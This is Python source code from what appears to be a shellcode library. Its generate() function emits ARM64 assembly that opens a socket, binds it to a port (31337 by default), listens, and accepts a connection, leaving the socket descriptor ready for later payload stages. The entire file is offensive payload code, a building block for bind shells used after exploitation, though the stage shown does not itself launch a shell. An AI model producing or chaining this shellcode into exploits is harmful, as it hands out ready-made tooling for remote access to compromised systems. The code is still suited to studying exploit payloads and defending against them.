Source code for shellcodes.arm64.listen

# listen(port)

from socket import ntohs

[docs]def generate(port=31337): """listens on specific port Args: port(int): specific prot Returns: ``x6`` reg indicates socket descriptor """ sc = """ /* socket(...) */ mov x0, 2 mov x1, 1 sub x2, x2, x2 mov x8, 198 svc 1 /* backup socket descriptor x6 bind(...) */ mov x6, x0 adr x4, sockaddr_in_1 #mov x4, pc #add x4, #22 ldr x1, [x4] sub x2, x2, x2 str x1, [sp, 0] str x2, [sp, 4] mov x0, x6 mov x1, sp mov x2, 16 mov x8, 200 svc 1 b after_sockaddr_in_2 /* sockaddr_in struct(...) */ sockaddr_in_1: .short 2 .short %s /* listen(...) */ after_sockaddr_in_2: mov x1, 16 mov x0, x6 mov x8, 201 svc 1 /* accept(...) */ mov x0, x6 sub x1, x1, x1 sub x2, x2, x2 mov x8, 242 svc 1 mov x6, x0 """ % (ntohs(port)) return sc